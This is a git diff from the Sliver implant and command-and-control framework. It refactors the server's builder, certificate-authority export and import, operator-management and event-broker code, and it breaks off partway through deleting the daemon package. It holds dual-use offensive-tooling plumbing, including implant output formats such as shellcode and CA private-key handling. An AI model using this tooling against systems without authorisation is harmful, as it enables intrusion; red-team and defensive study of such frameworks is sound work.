- } - log.RootLogger.SetLevel(log.LevelFrom(level)) +func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server, con *console.SliverClient) error { + configPath, err := cmd.Flags().GetString(operatorConfigFlagStr) + if err != nil { + builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err) + return nil + } + if configPath == "" { + builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr) + return nil + } - defer func() { - if r := recover(); r != nil { - builderLog.Printf("panic:\n%s", debug.Stack()) - builderLog.Fatalf("stacktrace from panic: \n" + string(debug.Stack())) - os.Exit(99) - } - }() + quiet, err := cmd.Flags().GetBool(quietFlagStr) + if err != nil { + builderLog.Errorf("Failed to parse --%s flag %s\n", quietFlagStr, err) + } + if !quiet { + log.RootLogger.AddHook(log.NewStdoutHook(log.RootLoggerName)) + } + builderLog.Infof("Initializing Sliver external builder - %s", version.FullVersion()) - externalBuilder := parseBuilderConfigFlags(cmd) - externalBuilder.Templates = []string{"sliver"} + level, err := cmd.Flags().GetInt(logLevelFlagStr) + if err != nil { + builderLog.Errorf("Failed to parse --%s flag %s\n", logLevelFlagStr, err) + return nil + } + log.RootLogger.SetLevel(log.LevelFrom(level)) - // load the client configuration from the filesystem - config, err := clientAssets.ReadConfig(configPath) - if err != nil { - builderLog.Fatalf("Invalid config file: %s", err) - os.Exit(-1) - } - if externalBuilder.Name == "" { - builderLog.Infof("No builder name was specified, attempting to use hostname") - externalBuilder.Name, err = os.Hostname() - if err != nil { - builderLog.Errorf("Failed to get hostname: %s", err) - externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS) - } + defer func() { + if r := recover(); r != nil { + builderLog.Printf("panic:\n%s", debug.Stack()) + builderLog.Fatalf("stacktrace from panic: \n" + string(debug.Stack())) + os.Exit(99) } - builderLog.Infof("Hello my name is: %s", externalBuilder.Name) + }() - // connect to the server - builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort) - rpc, ln, err := transport.MTLSConnect(config) - if err != nil { - builderLog.Errorf("Failed to connect to server: %s", err) - os.Exit(-2) - } - defer ln.Close() - builder.StartBuilder(externalBuilder, rpc) - }, + externalBuilder := parseBuilderConfigFlags(cmd) + externalBuilder.Templates = []string{"sliver"} + + // load the client configuration from the filesystem + return startBuilderClient(externalBuilder, configPath, team, con) } func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder { @@ -260,3 +256,90 @@ func parseForceDisableTargets(cmd *cobra.Command, externalBuilder *clientpb.Buil } } } + +func startBuilderClient(externalBuilder *clientpb.Builder, configPath string, team *server.Server, con *console.SliverClient) error { + // Simply use our transport+RPC backend. + cli := transport.NewClient() + + teamclient := team.Self(client.WithDialer(cli)) + + // Now use our teamclient to fetch the configuration. + config, err := teamclient.ReadConfig(configPath) + if err != nil { + builderLog.Fatalf("Invalid config file: %s", err) + os.Exit(-1) + } + + if externalBuilder.Name == "" { + builderLog.Infof("No builder name was specified, attempting to use hostname") + externalBuilder.Name, err = os.Hostname() + if err != nil { + builderLog.Errorf("Failed to get hostname: %s", err) + externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.User, runtime.GOOS) + } + } + builderLog.Infof("Hello my name is: %s", externalBuilder.Name) + + builderLog.Infof("Connecting to %s@%s:%d ...", config.User, config.Host, config.Port) + + // And immediately connect to it. + err = teamclient.Connect(client.WithConfig(config)) + if err != nil { + return err + } + + rpc := rpcpb.NewSliverRPCClient(cli.Conn) + + defer teamclient.Disconnect() + + // Let the builder do its work, blocking. + return builder.StartBuilder(externalBuilder, rpc, con) +} + +// builderFormatsCompleter completes supported builders architectures. +func builderFormatsCompleter() carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + return carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action { + var results []string + + switch len(c.Parts) { + + // Binary targets + case 1: + for _, target := range generate.GetCompilerTargets() { + results = append(results, fmt.Sprintf("%s/%s", target.GOOS, target.GOARCH)) + } + + for _, target := range generate.GetUnsupportedTargets() { + results = append(results, fmt.Sprintf("%s/%s", target.GOOS, target.GOARCH)) + } + + return carapace.ActionValues(results...).Tag("architectures") + + // Binary formats + case 0: + for _, fmt := range []string{"executable", "exe", "exec", "pe"} { + results = append(results, fmt, clientpb.OutputFormat_EXECUTABLE.String()) + } + + for _, fmt := range []string{"shared-lib", "sharedlib", "dll", "so", "dylib"} { + results = append(results, fmt, clientpb.OutputFormat_SHARED_LIB.String()) + } + + for _, fmt := range []string{"service", "svc"} { + results = append(results, fmt, clientpb.OutputFormat_SERVICE.String()) + } + + for _, fmt := range []string{"shellcode", "shell", "sc"} { + results = append(results, fmt, clientpb.OutputFormat_SHELLCODE.String()) + } + + return carapace.ActionValuesDescribed(results...).Tag("formats").Suffix(":") + } + + return carapace.ActionValues() + }) + // Our flags --enable-target/--disable-targets are list, + // so users can coma-separate their values for a single flag. + }).UniqueList(",") +} diff --git a/server/command/certs/certs.go b/server/command/certs/certs.go new file mode 100644 index 0000000000..57e8cedd2f --- /dev/null +++ b/server/command/certs/certs.go @@ -0,0 +1,169 @@ +package certs + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/server/certs" + "github.com/spf13/cobra" +) + +// CATypes - CA types +var CATypes = map[string]string{ + "mtls": certs.MtlsImplantCA, + "https": certs.HTTPSCA, +} + +const ( + // Cert flags + caTypeFlagStr = "type" + loadFlagStr = "load" + saveFlagStr = "save" +) + +// CA - Exported CA format +type CA struct { + Certificate string `json:"certificate"` + PrivateKey string `json:"private_key"` +} + +func validCATypes() []string { + types := []string{} + for caType := range CATypes { + types = append(types, caType) + } + return types +} + +// Commands returns all commands for Sliver-specific Certificates management. +func Commands(con *console.SliverClient) []*cobra.Command { + cmdImportCA := &cobra.Command{ + Use: "import-ca", + Short: "Import certificate authority", + Long: ``, + Run: runBuilderCmd, + } + + cmdExportCA := &cobra.Command{ + Use: "export-ca", + Short: "Export certificate authority", + Long: ``, + Run: exportCACmd, + } + + return []*cobra.Command{cmdImportCA, cmdExportCA} +} + +func runBuilderCmd(cmd *cobra.Command, args []string) { + caType, err := cmd.Flags().GetString(caTypeFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) + os.Exit(1) + } + ca, ok := CATypes[caType] + if !ok { + CAs := strings.Join(validCATypes(), ", ") + fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) + os.Exit(1) + } + + load, err := cmd.Flags().GetString(loadFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s\n", loadFlagStr, err) + os.Exit(1) + } + fi, err := os.Stat(load) + if os.IsNotExist(err) || fi.IsDir() { + fmt.Printf("Cannot load file %s\n", load) + os.Exit(1) + } + + data, err := os.ReadFile(load) + if err != nil { + fmt.Printf("Cannot read file %s", err) + os.Exit(1) + } + + importCA := &CA{} + err = json.Unmarshal(data, importCA) + if err != nil { + fmt.Printf("Failed to parse file %s", err) + os.Exit(1) + } + cert := []byte(importCA.Certificate) + key := []byte(importCA.PrivateKey) + certs.SaveCertificateAuthority(ca, cert, key) +} + +func exportCACmd(cmd *cobra.Command, args []string) { + caType, err := cmd.Flags().GetString(caTypeFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) + os.Exit(1) + } + ca, ok := CATypes[caType] + if !ok { + CAs := strings.Join(validCATypes(), ", ") + fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) + os.Exit(1) + } + + save, err := cmd.Flags().GetString(saveFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s\n", saveFlagStr, err) + os.Exit(1) + } + if save == "" { + save, _ = os.Getwd() + } + + certs.SetupCAs() + certificateData, privateKeyData, err := certs.GetCertificateAuthorityPEM(ca) + if err != nil { + fmt.Printf("Error reading CA %s\n", err) + os.Exit(1) + } + exportedCA := &CA{ + Certificate: string(certificateData), + PrivateKey: string(privateKeyData), + } + + saveTo, _ := filepath.Abs(save) + fi, err := os.Stat(saveTo) + if !os.IsNotExist(err) && !fi.IsDir() { + fmt.Printf("File already exists: %s\n", err) + os.Exit(1) + } + if !os.IsNotExist(err) && fi.IsDir() { + filename := fmt.Sprintf("%s.ca", filepath.Base(caType)) + saveTo = filepath.Join(saveTo, filename) + } + data, _ := json.Marshal(exportedCA) + err = os.WriteFile(saveTo, data, 0o600) + if err != nil { + fmt.Printf("Write failed: %s (%s)\n", saveTo, err) + os.Exit(1) + } +} diff --git a/server/command/server.go b/server/command/server.go new file mode 100644 index 0000000000..6da25ad8fc --- /dev/null +++ b/server/command/server.go @@ -0,0 +1,60 @@ +package command + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/spf13/cobra" + + "github.com/reeflective/team/server" + "github.com/reeflective/team/server/commands" + + "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/server/command/assets" + "github.com/bishopfox/sliver/server/command/builder" + "github.com/bishopfox/sliver/server/command/certs" + "github.com/bishopfox/sliver/server/command/version" +) + +var permissionsFlagStr = "permissions" + +// TeamserverCommands is the equivalent of client/command.ServerCommands(), but for server-binary only ones. +func TeamserverCommands(team *server.Server, con *console.SliverClient) command.SliverBinder { + return func(con *console.SliverClient) (cmds []*cobra.Command) { + // Teamserver management + teamclientCmds := commands.Generate(team, con.Teamclient) + teamclientCmds.GroupID = constants.GenericHelpGroup + cmds = append(cmds, teamclientCmds) + + // Sliver-specific teamserver stuff + operatorCmd, _, _ := teamclientCmds.Find([]string{"teamserver", "user"}) + operatorCmd.Flags().StringSliceP(permissionsFlagStr, "P", []string{}, "grant permissions to the operator profile (all, builder, crackstation)") + + // Sliver-specific + cmds = append(cmds, version.Commands(con)...) + cmds = append(cmds, assets.Commands()...) + cmds = append(cmds, certs.Commands(con)...) + + // Commands requiring the server to be a remote teamclient. + cmds = append(cmds, builder.Commands(con, team)...) + + return cmds + } +} diff --git a/server/cli/version.go b/server/command/version/version.go similarity index 68% rename from server/cli/version.go rename to server/command/version/version.go index b9784e35bb..c8fdbb365b 100644 --- a/server/cli/version.go +++ b/server/command/version/version.go @@ -1,4 +1,4 @@ -package cli +package version /* Sliver Implant Framework @@ -21,15 +21,20 @@ package cli import ( "fmt" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/version" "github.com/spf13/cobra" ) -var versionCmd = &cobra.Command{ - Use: "version", - Short: "Print version and exit", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - fmt.Printf("%s\n", version.FullVersion()) - }, +func Commands(con *console.SliverClient) []*cobra.Command { + versionCmd := &cobra.Command{ + Use: "version", + Short: "Print version and exit", + Long: ``, + Run: func(cmd *cobra.Command, args []string) { + fmt.Printf("%s\n", version.FullVersion()) + }, + } + + return []*cobra.Command{versionCmd} } diff --git a/server/configs/server.go b/server/configs/server.go index a9250aeba2..112fa92f50 100644 --- a/server/configs/server.go +++ b/server/configs/server.go @@ -35,9 +35,7 @@ const ( serverConfigFileName = "server.json" ) -var ( - serverConfigLog = log.NamedLogger("config", "server") -) +var serverConfigLog = log.NamedLogger("config", "server") // GetServerConfigPath - File path to config.json func GetServerConfigPath() string { @@ -63,18 +61,10 @@ type DaemonConfig struct { // JobConfig - Restart Jobs on Load type JobConfig struct { - Multiplayer []*MultiplayerJobConfig `json:"multiplayer"` - MTLS []*MTLSJobConfig `json:"mtls,omitempty"` - WG []*WGJobConfig `json:"wg,omitempty"` - DNS []*DNSJobConfig `json:"dns,omitempty"` - HTTP []*HTTPJobConfig `json:"http,omitempty"` -} - -type MultiplayerJobConfig struct { - Host string `json:"host"` - Port uint16 `json:"port"` - JobID string `json:"job_id"` - Tailscale bool `json:"tailscale"` + MTLS []*MTLSJobConfig `json:"mtls,omitempty"` + WG []*WGJobConfig `json:"wg,omitempty"` + DNS []*DNSJobConfig `json:"dns,omitempty"` + HTTP []*HTTPJobConfig `json:"http,omitempty"` } // MTLSJobConfig - Per-type job configs @@ -141,7 +131,7 @@ func (c *ServerConfig) Save() error { configDir := filepath.Dir(configPath) if _, err := os.Stat(configDir); os.IsNotExist(err) { serverConfigLog.Debugf("Creating config dir %s", configDir) - err := os.MkdirAll(configDir, 0700) + err := os.MkdirAll(configDir, 0o700) if err != nil { return err } @@ -151,7 +141,7 @@ func (c *ServerConfig) Save() error { return err } serverConfigLog.Infof("Saving config to %s", configPath) - err = os.WriteFile(configPath, data, 0600) + err = os.WriteFile(configPath, data, 0o600) if err != nil { serverConfigLog.Errorf("Failed to write config %s", err) } diff --git a/server/console/console-admin.go b/server/console/console-admin.go deleted file mode 100644 index e393e3ad47..0000000000 --- a/server/console/console-admin.go +++ /dev/null @@ -1,285 +0,0 @@ -package console - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "crypto/sha256" - "encoding/hex" - "encoding/json" - "errors" - "fmt" - "log" - "os" - "path/filepath" - "regexp" - - "github.com/spf13/cobra" - - consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" - "github.com/bishopfox/sliver/server/db/models" - "github.com/bishopfox/sliver/server/transport" -) - -const ( - // ANSI Colors - normal = "\033[0m" - black = "\033[30m" - red = "\033[31m" - green = "\033[32m" - orange = "\033[33m" - blue = "\033[34m" - purple = "\033[35m" - cyan = "\033[36m" - gray = "\033[37m" - bold = "\033[1m" - clearln = "\r\x1b[2K" - upN = "\033[%dA" - downN = "\033[%dB" - underline = "\033[4m" - - // Info - Display colorful information - Info = bold + cyan + "[*] " + normal - // Warn - Warn a user - Warn = bold + red + "[!] " + normal - // Debug - Display debug information - Debug = bold + purple + "[-] " + normal - // Woot - Display success - Woot = bold + green + "[$] " + normal -) - -var namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars - -// ClientConfig - Client JSON config -type ClientConfig struct { - Operator string `json:"operator"` - Token string `json:"token"` - LHost string `json:"lhost"` - LPort int `json:"lport"` - CACertificate string `json:"ca_certificate"` - PrivateKey string `json:"private_key"` - Certificate string `json:"certificate"` -} - -func newOperatorCmd(cmd *cobra.Command, _ []string) { - name, _ := cmd.Flags().GetString("name") - lhost, _ := cmd.Flags().GetString("lhost") - lport, _ := cmd.Flags().GetUint16("lport") - save, _ := cmd.Flags().GetString("save") - permissions, _ := cmd.Flags().GetStringSlice("permissions") - - if save == "" { - save, _ = os.Getwd() - } - - fmt.Printf(Info + "Generating new client certificate, please wait ... \n") - configJSON, err := NewOperatorConfig(name, lhost, lport, permissions) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - saveTo, _ := filepath.Abs(save) - fi, err := os.Stat(saveTo) - if !os.IsNotExist(err) && !fi.IsDir() { - fmt.Printf(Warn+"File already exists %s\n", err) - return - } - if !os.IsNotExist(err) && fi.IsDir() { - filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost)) - saveTo = filepath.Join(saveTo, filename) - } - err = os.WriteFile(saveTo, configJSON, 0o600) - if err != nil { - fmt.Printf(Warn+"Failed to write config to: %s (%s) \n", saveTo, err) - return - } - fmt.Printf(Info+"Saved new client config to: %s \n", saveTo) -} - -// NewOperatorConfig - Generate a new player/client/operator configuration -func NewOperatorConfig(operatorName string, lhost string, lport uint16, permissions []string) ([]byte, error) { - if !namePattern.MatchString(operatorName) { - return nil, errors.New("invalid operator name (alphanumerics only)") - } - if operatorName == "" { - return nil, errors.New("operator name required") - } - if lhost == "" { - return nil, errors.New("invalid lhost") - } - if len(permissions) == 0 { - return nil, errors.New("must specify at least one permission") - } - - rawToken := models.GenerateOperatorToken() - digest := sha256.Sum256([]byte(rawToken)) - dbOperator := &models.Operator{ - Name: operatorName, - Token: hex.EncodeToString(digest[:]), - } - for _, permission := range permissions { - switch permission { - case "all": - dbOperator.PermissionAll = true - break - case "builder": - dbOperator.PermissionBuilder = true - case "crackstation": - dbOperator.PermissionCrackstation = true - default: - return nil, fmt.Errorf("invalid permission: %s", permission) - } - } - err := db.Session().Save(dbOperator).Error - if err != nil { - return nil, err - } - - publicKey, privateKey, err := certs.OperatorClientGenerateCertificate(operatorName) - if err != nil { - return nil, fmt.Errorf("failed to generate certificate %s", err) - } - caCertPEM, _, _ := certs.GetCertificateAuthorityPEM(certs.OperatorCA) - config := ClientConfig{ - Operator: operatorName, - Token: rawToken, - LHost: lhost, - LPort: int(lport), - CACertificate: string(caCertPEM), - PrivateKey: string(privateKey), - Certificate: string(publicKey), - } - return json.Marshal(config) -} - -func kickOperatorCmd(cmd *cobra.Command, _ []string) { - operator, _ := cmd.Flags().GetString("name") - - fmt.Printf(Info+"Removing auth token(s) for %s, please wait ... \n", operator) - err := db.Session().Where(&models.Operator{ - Name: operator, - }).Delete(&models.Operator{}).Error - if err != nil { - return - } - transport.ClearTokenCache() - fmt.Printf(Info+"Removing client certificate(s) for %s, please wait ... \n", operator) - err = certs.OperatorClientRemoveCertificate(operator) - if err != nil { - fmt.Printf(Warn+"Failed to remove the operator certificate: %v \n", err) - return - } - fmt.Printf(Info+"Operator %s has been kicked out.\n", operator) -} - -func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) { - lhost, _ := cmd.Flags().GetString("lhost") - lport, _ := cmd.Flags().GetUint16("lport") - tailscale, _ := cmd.Flags().GetBool("tailscale") - - var err error - var jobID int - if tailscale { - _, err = jobStartTsNetClientListener(lhost, lport) - } else { - jobID, err = JobStartClientListener(&clientpb.MultiplayerListenerReq{Host: lhost, Port: uint32(lport)}) - } - if err == nil { - fmt.Printf(Info + "Multiplayer mode enabled!\n") - multiConfig := &clientpb.MultiplayerListenerReq{Host: lhost, Port: uint32(lport)} - listenerJob := &clientpb.ListenerJob{ - JobID: uint32(jobID), - Type: "multiplayer", - MultiConf: multiConfig, - } - err = db.SaveHTTPC2Listener(listenerJob) - if err != nil { - fmt.Printf(Warn+"Failed to save job %v\n", err) - } - - } else { - fmt.Printf(Warn+"Failed to start job %v\n", err) - } -} - -func JobStartClientListener(multiplayerListener *clientpb.MultiplayerListenerReq) (int, error) { - _, ln, err := transport.StartMtlsClientListener(multiplayerListener.Host, uint16(multiplayerListener.Port)) - if err != nil { - return -1, err // If we fail to bind don't setup the Job - } - - job := &core.Job{ - ID: core.NextJobID(), - Name: "grpc/mtls", - Description: "client listener", - Protocol: "tcp", - Port: uint16(multiplayerListener.Port), - JobCtrl: make(chan bool), - } - - go func() { - <-job.JobCtrl - log.Printf("Stopping client listener (%d) ...\n", job.ID) - ln.Close() // Kills listener GoRoutines in startMutualTLSListener() but NOT connections - - core.Jobs.Remove(job) - core.EventBroker.Publish(core.Event{ - Job: job, - EventType: consts.JobStoppedEvent, - }) - }() - - core.Jobs.Add(job) - return job.ID, nil -} - -func jobStartTsNetClientListener(host string, port uint16) (int, error) { - _, ln, err := transport.StartTsNetClientListener(host, port) - if err != nil { - return -1, err // If we fail to bind don't setup the Job - } - - job := &core.Job{ - ID: core.NextJobID(), - Name: "grpc/tsnet", - Description: "client listener", - Protocol: "tcp", - Port: uint16(port), - JobCtrl: make(chan bool), - } - - go func() { - <-job.JobCtrl - log.Printf("Stopping client listener (%d) ...\n", job.ID) - ln.Close() // Kills listener GoRoutines in startMutualTLSListener() but NOT connections - - core.Jobs.Remove(job) - core.EventBroker.Publish(core.Event{ - Job: job, - EventType: consts.JobStoppedEvent, - }) - }() - - core.Jobs.Add(job) - return job.ID, nil -} diff --git a/server/console/console-admin_test.go b/server/console/console-admin_test.go deleted file mode 100644 index 7bb6c76f5d..0000000000 --- a/server/console/console-admin_test.go +++ /dev/null @@ -1,46 +0,0 @@ -package console - -import ( - "encoding/json" - "encoding/pem" - "testing" - - clienttransport "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/server/certs" -) - -func TestRootOnlyVerifyCertificate(t *testing.T) { - certs.SetupCAs() - - data, err := NewOperatorConfig("zerocool", "localhost", uint16(1337), []string{"all"}) - if err != nil { - t.Fatalf("failed to generate test player profile %s", err) - } - config := &ClientConfig{} - err = json.Unmarshal(data, config) - if err != nil { - t.Fatalf("failed to parse client config %s", err) - } - - _, _, err = certs.OperatorServerGetCertificate("localhost") - if err == certs.ErrCertDoesNotExist { - certs.OperatorServerGenerateCertificate("localhost") - } - - // Test with a valid certificate - certPEM, _, _ := certs.OperatorServerGetCertificate("localhost") - block, _ := pem.Decode(certPEM) - err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) - if err != nil { - t.Fatalf("root only verify certificate error: %s", err) - } - - // Test with wrong CA - wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false) - block, _ = pem.Decode(wrongCert) - err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) - if err == nil { - t.Fatal("root only verify cert verified a certificate with invalid ca!") - } - -} diff --git a/server/console/console.go b/server/console/console.go deleted file mode 100644 index ecafbc65c4..0000000000 --- a/server/console/console.go +++ /dev/null @@ -1,138 +0,0 @@ -package console - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - "net" - - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - - "github.com/bishopfox/sliver/client/command" - "github.com/bishopfox/sliver/client/command/help" - "github.com/bishopfox/sliver/client/console" - consts "github.com/bishopfox/sliver/client/constants" - clienttransport "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/transport" - "google.golang.org/grpc" -) - -// Start - Starts the server console -func Start() { - _, ln, _ := transport.LocalListener() - ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { - return ln.Dial() - }) - - options := []grpc.DialOption{ - ctxDialer, - grpc.WithInsecure(), // This is an in-memory listener, no need for secure transport - grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(clienttransport.ClientMaxReceiveMessageSize)), - } - conn, err := grpc.DialContext(context.Background(), "bufnet", options...) - if err != nil { - fmt.Printf(Warn+"Failed to dial bufnet: %s\n", err) - return - } - defer conn.Close() - localRPC := rpcpb.NewSliverRPCClient(conn) - con := console.NewConsole(false) - console.StartClient(con, localRPC, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true) - - con.App.Start() -} - -// serverOnlyCmds - Server only commands -func serverOnlyCmds() (commands []*cobra.Command) { - // [ Multiplayer ] ----------------------------------------------------------------- - - startMultiplayer := &cobra.Command{ - Use: consts.MultiplayerModeStr, - Short: "Enable multiplayer mode", - Long: help.GetHelpFor([]string{consts.MultiplayerModeStr}), - Run: startMultiplayerModeCmd, - GroupID: consts.MultiplayerHelpGroup, - } - command.Flags("multiplayer", false, startMultiplayer, func(f *pflag.FlagSet) { - f.StringP("lhost", "L", "", "hostname to bind server to") - f.Uint16P("lport", "l", 31337, "tcp listen port") - f.BoolP("tailscale", "T", false, "only expose multiplayer interface over Tailscale (requires TS_AUTHKEY)") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - - commands = append(commands, startMultiplayer) - - newOperator := &cobra.Command{ - Use: consts.NewOperatorStr, - Short: "Create a new operator config file", - Long: newOperatorLongHelp, - Run: newOperatorCmd, - GroupID: consts.MultiplayerHelpGroup, - } - command.Flags("operator", false, newOperator, func(f *pflag.FlagSet) { - f.StringP("lhost", "l", "", "listen host") - f.Uint16P("lport", "p", 31337, "listen port") - f.StringP("save", "s", "", "directory/file in which to save config") - f.StringP("name", "n", "", "operator name") - f.StringSliceP("permissions", "P", []string{}, "grant permissions to the operator profile (all, builder, crackstation)") - }) - command.FlagComps(newOperator, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionDirectories() - }) - commands = append(commands, newOperator) - - kickOperator := &cobra.Command{ - Use: consts.KickOperatorStr, - Short: "Kick an operator from the server", - Long: help.GetHelpFor([]string{consts.KickOperatorStr}), - Run: kickOperatorCmd, - GroupID: consts.MultiplayerHelpGroup, - } - - command.Flags("operator", false, kickOperator, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "operator name") - }) - commands = append(commands, kickOperator) - - return -} - -const newOperatorLongHelp = ` -Create a new operator config file, operator configuration files allow -remote machines to connect to the Sliver server. They are most commonly -used for allowing remote operators to connect in "Multiplayer Mode." - -To generate a profile for a remote operator, you need to specify the -the "all" permission to grant the profile access to all gRPC APIs: - -new-operator --name --lhost --permissions all - -Operator profiles can also be used to allow remote machines to connect to -the Sliver server for other purposes, such as a "Remote Builder" or a -"Crackstation." - -You can restrict profiles' permissions by using the --permissions flag, for -example, to create a profile that can only be used as a "Remote Builder": - -new-operator --name --lhost --permissions builder -` diff --git a/server/core/clients.go b/server/core/clients.go index aa2d49d091..96c90755e8 100644 --- a/server/core/clients.go +++ b/server/core/clients.go @@ -23,6 +23,7 @@ import ( consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" + "golang.org/x/exp/slices" ) var ( @@ -72,7 +73,9 @@ func (cc *clients) ActiveOperators() []string { defer cc.mutex.Unlock() operators := []string{} for _, client := range cc.active { - operators = append(operators, client.Operator.Name) + if !slices.Contains(operators, client.Operator.Name) { + operators = append(operators, client.Operator.Name) + } } return operators } diff --git a/server/core/events.go b/server/core/events.go index 9313696151..d5114df3e6 100644 --- a/server/core/events.go +++ b/server/core/events.go @@ -24,11 +24,17 @@ import ( const ( // Size is arbitrary, just want to avoid weird cases where we'd block on channel sends - eventBufSize = 5 + // + // NOTE: Changed by me: when clients are one-time exec CLI commands, you don't know how + // fast they connect/disconnect from their RPC.Events() call. + // When the event channels are buffered, sooner or later the broker writes to a closed + // channel. Just make it one so that this does not happen. + eventBufSize = 0 ) // Event - An event is fired when there's a state change involving a -// session, job, or client. +// +// session, job, or client. type Event struct { Session *Session Job *Job @@ -57,6 +63,7 @@ func (broker *eventBroker) Start() { case <-broker.stop: for sub := range subscribers { close(sub) + delete(subscribers, sub) } return case sub := <-broker.subscribe: @@ -106,7 +113,5 @@ func newBroker() *eventBroker { return broker } -var ( - // EventBroker - Distributes event messages - EventBroker = newBroker() -) +// EventBroker - Distributes event messages +var EventBroker = newBroker() diff --git a/server/core/rtunnels/rtunnels.go b/server/core/rtunnels/rtunnels.go index 4841989f51..312f254461 100644 --- a/server/core/rtunnels/rtunnels.go +++ b/server/core/rtunnels/rtunnels.go @@ -10,7 +10,7 @@ var ( mutex sync.RWMutex ) -// RTunnel - Duplex byte read/write +// RTunnel - Duplex byte read/write. type RTunnel struct { ID uint64 SessionID string @@ -62,7 +62,7 @@ func (c *RTunnel) IncWriteSequence() { c.writeSequence += 1 } -// Close - close RTunnel reader and writer +// Close - close RTunnel reader and writer. func (c *RTunnel) Close() { for _, rc := range c.Readers { if rc != nil { @@ -72,14 +72,14 @@ func (c *RTunnel) Close() { c.Writer.Close() } -// Tunnel - Add tunnel to mapping +// Tunnel - Add tunnel to mapping. func GetRTunnel(ID uint64) *RTunnel { mutex.RLock() defer mutex.RUnlock() return Rtunnels[ID] } -// AddTunnel - Add tunnel to mapping +// AddTunnel - Add tunnel to mapping. func AddRTunnel(tun *RTunnel) { mutex.Lock() defer mutex.Unlock() @@ -87,7 +87,7 @@ func AddRTunnel(tun *RTunnel) { Rtunnels[tun.ID] = tun } -// RemoveTunnel - Add tunnel to mapping +// RemoveTunnel - Add tunnel to mapping. func RemoveRTunnel(ID uint64) { mutex.Lock() defer mutex.Unlock() diff --git a/server/daemon/README.md b/server/daemon/README.md deleted file mode 100644 index 8c8d1b9add..0000000000 --- a/server/daemon/README.md +++ /dev/null @@ -1,4 +0,0 @@ -Daemon -====== - -This is the main function when the application is executed as a daemon instead of in console mode. It simply starts the MTLS listener and responds to SIG messages. diff --git a/server/daemon/daemon.go b/server/daemon/daemon.go deleted file mode 100644 index d673142fcd..0000000000 --- 